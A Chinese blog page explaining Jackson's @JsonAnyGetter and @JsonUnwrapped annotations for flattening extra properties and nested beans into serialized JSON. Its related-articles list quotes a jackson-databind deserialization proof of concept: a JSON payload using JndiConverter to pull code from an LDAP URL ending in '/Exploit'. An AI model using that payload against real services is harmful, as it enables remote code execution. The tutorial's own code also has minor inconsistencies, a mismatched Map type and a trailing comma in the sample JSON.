Jackson序列化Bean额外属性附加--@JsonAnyGetter、@JsonUnwrapped用户

这篇具有很好参考价值的文章主要介绍了Jackson序列化Bean额外属性附加--@JsonAnyGetter、@JsonUnwrapped用户。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

1. 场景

有一项工作,需要将数据从一个服务S中读取出来(得到的是一个JSON),将数据解析转换以后构造成一个数组的类型A的对象,写入到一个服务T中。

  • A.class
@Data
public class A
{
  String f0 ;
  String f1 ;
}

在发现需要增加一种类型A的字类型B,这个类型属性非常多(将近一百),在这种情形下,如果直接定义出类型B来,定义那么多属性,还得设置,将会有更大的工作量,所以考虑是不是这些额外的信息可以用一个Map来存储。变成如下结构:

  • A.class
@Data
public class A
{
  String f0 ;
  String f1 ;
  Map<String , Object> otherPropMap ;
}

输出的JSON:

{
  "f0":"" ,
  "f1":"" ,
  "op1":"" ,
  "op2":"" ,
}

2. 做法

@Data
public class A
{
  String f0 ;
  String f1 ;
  Map<String , Object> otherPropMap ;
  
  @JsonAnyGetter
  public Map<String , String> getOtherPropMap()
  {
    return otherPropMap ;
  }
}

在jackson-annotations-2.11时,@JsonAnyGetter注解只能用在Method上,在2.13版本中,已经可以直接使用在属性上了。

3. JsonUnwrapped用法

@JsonUnwrapped注解,只对Bean其作用,Map是不能起作用的。例如下面是可以的。

@Data
public class A
{
  String f0 ;
  
  @JsonUnwrapped
  B f1 ;
}

// B.java
public class B
{
	String f3 ;
	String f4 ;
}

那么输出结果是:文章来源地址https://www.toymoban.com/news/detail-821428.html

{
  "f0":"" ,
  "f3":"" ,
  "f4":""
}

到了这里,关于Jackson序列化Bean额外属性附加--@JsonAnyGetter、@JsonUnwrapped用户的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包赞助服务器费用

相关文章

  • jackson null值 序列化

    在Jackson中,序列化时将 null 值转换为字符串(例如,输出为 \\\"null\\\" 而不是忽略或输出 null )通常不是标准行为,但可以通过自定义序列化处理器来实现。 以下是一个简单的示例,演示如何创建一个自定义 JsonSerializer ,用于将所有类型的 null 值序列化为字符串 \\\"null\\\" : 全局注

    2024年01月18日
    浏览(11)
  • RabbitMQ 消息对象通过 Jackson 库消息转化器 序列化/反序列化 天坑!

    RabbitMQ 消息对象通过 Jackson 库消息转化器 序列化/反序列化 天坑!

    目录 1. 报错的背景 2. 问题分析 3. 最佳解决办法 a)使用 RabbitMQ 发送消息时,发送消息的类型为 MapString, Object,map 里面我 put 了一个 String, Long 类型,如下图: b)这里有一个前提:我清楚使用 org.springframework.amqp.rabbit.core.RabbitTemplate 来发送消息到 RabbitMQ 队列时,消息的序列

    2024年04月15日
    浏览(11)
  • jackson自定义反序列化器JsonDeserializer

    jackson自定义反序列化器JsonDeserializer

    JSON序列化:将实体类对象转为JSON字符串 JSON反序列化:将JSON字符串转为实体类 jackson作为Spring MVC和Spring Boot默认的JSON解析器,其与gson的工作原理不一样。 jackson通过调用实体类每个属性get/set方法进行注入,而gson则是通过设置每个属性为可访问后注入 。 jackson工作原理大致如

    2024年02月06日
    浏览(9)
  • Jackson--FastJson--XStream--代码执行&&反序列化

    2.0.0 = FasterXML jackson-databind Version = 2.9.10.2 不受影响版本 FasterXML jackson-databind = 2.8.11.5 FasterXML jackson-databind = 2.9.10.3 POC: String json = \\\"[\\\"org.apache.xbean.propertyeditor.JndiConverter\\\", {\\\"asText\\\":\\\"ldap://localhost:1389/Exploit\\\"}]\\\"; FasterXML jackson-databind 2.x 2.9.10.8 POC String payload = \\\"[\\\"com.oracle.wls.shaded.org.apa

    2024年02月08日
    浏览(22)
  • Redis添加LocalDateTime时间序列化/反序列化Java 8报‘jackson-datatype-jsr310’问题

    错误信息: 1、增加pom依赖 2、对应字段增加属性

    2024年02月11日
    浏览(8)
  • SpringBoot自定义Jackson注解,实现自定义序列化BigDecimal(增强JsonFormat注解)

    在处理BigDecimal字段的时候,希望自定义序列化格式。虽然有 JsonFormat可以自定义格式,但是还是不够,JsonFormat不能对 BigDecimal 进行个性化处理,比如指定的RoundingMode。 现在就是需要有个注解,可以实现自定序列化BigDecimal类型 首先,自定义一个注解 BigDecimalFormatter 实现一个

    2024年02月09日
    浏览(14)
  • Jackson-databind 反序列化漏洞(CVE-2017-7525、CVE-2017-17485)

    Jackson-databind 反序列化漏洞(CVE-2017-7525、CVE-2017-17485)

    Jackson-databind 支持 Polymorphic Deserialization 特性(默认情况下不开启),当 json 字符串转换的 Target class 中有 polymorph fields,即字段类型为接口、抽象类或 Object 类型时,攻击者可以通过在 json 字符串中指定变量的具体类型 (子类或接口实现类),来实现实例化指定的类,借助某些特

    2024年02月13日
    浏览(9)
  • springboot配置使用redis序列化时报错“无法自动装配。找不到 ‘RedisConnectionFactory‘ 类型的 Bean”

    springboot配置使用redis序列化时报错“无法自动装配。找不到 ‘RedisConnectionFactory‘ 类型的 Bean”

    今天在使用springboot操作redis时出现乱码的问题 像这样,这里对应的key明实际上时springboot:string 对应的值时徐浩的redis 但是当向redis推送数据时就乱码了,后面一查是因为在springboot-redis中,默认配置没有序列化,直接将string转成了byte 所以需要配置一下序列化 我这里配置了一下

    2024年02月07日
    浏览(10)
  • get属性是什么?有什么用?在什么场景用?get会被Json序列化?

    在JavaScript中,对象的属性不仅可以是数据属性(即常规的键值对),还可以是访问器属性(accessor properties)。访问器属性不包含实际的数据值,而是定义了如何获取(get)和设置(set)一个值。这些操作由getter和setter函数执行。 get 属性(getter) get 是一种定义在对象内部的

    2024年02月11日
    浏览(8)
  • Day60:WEB攻防-PHP反序列化&POP链构造&魔术方法流程&漏洞触发条件&属性修改

    Day60:WEB攻防-PHP反序列化&POP链构造&魔术方法流程&漏洞触发条件&属性修改

    目录 PHP-DEMO1-序列化和反序列化 序列化操作 - 即类型转换 序列化案例 PHP-DEMO2-魔术方法触发规则 __construct(): //当对象new的时候会自动调用 __destruct()://当对象被销毁时会被自动调用 __sleep(): //serialize()执行时被自动调用 __wakeup(): //unserialize()时会被自动调用 __invoke(): //把对象当

    2024年04月27日
    浏览(20)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包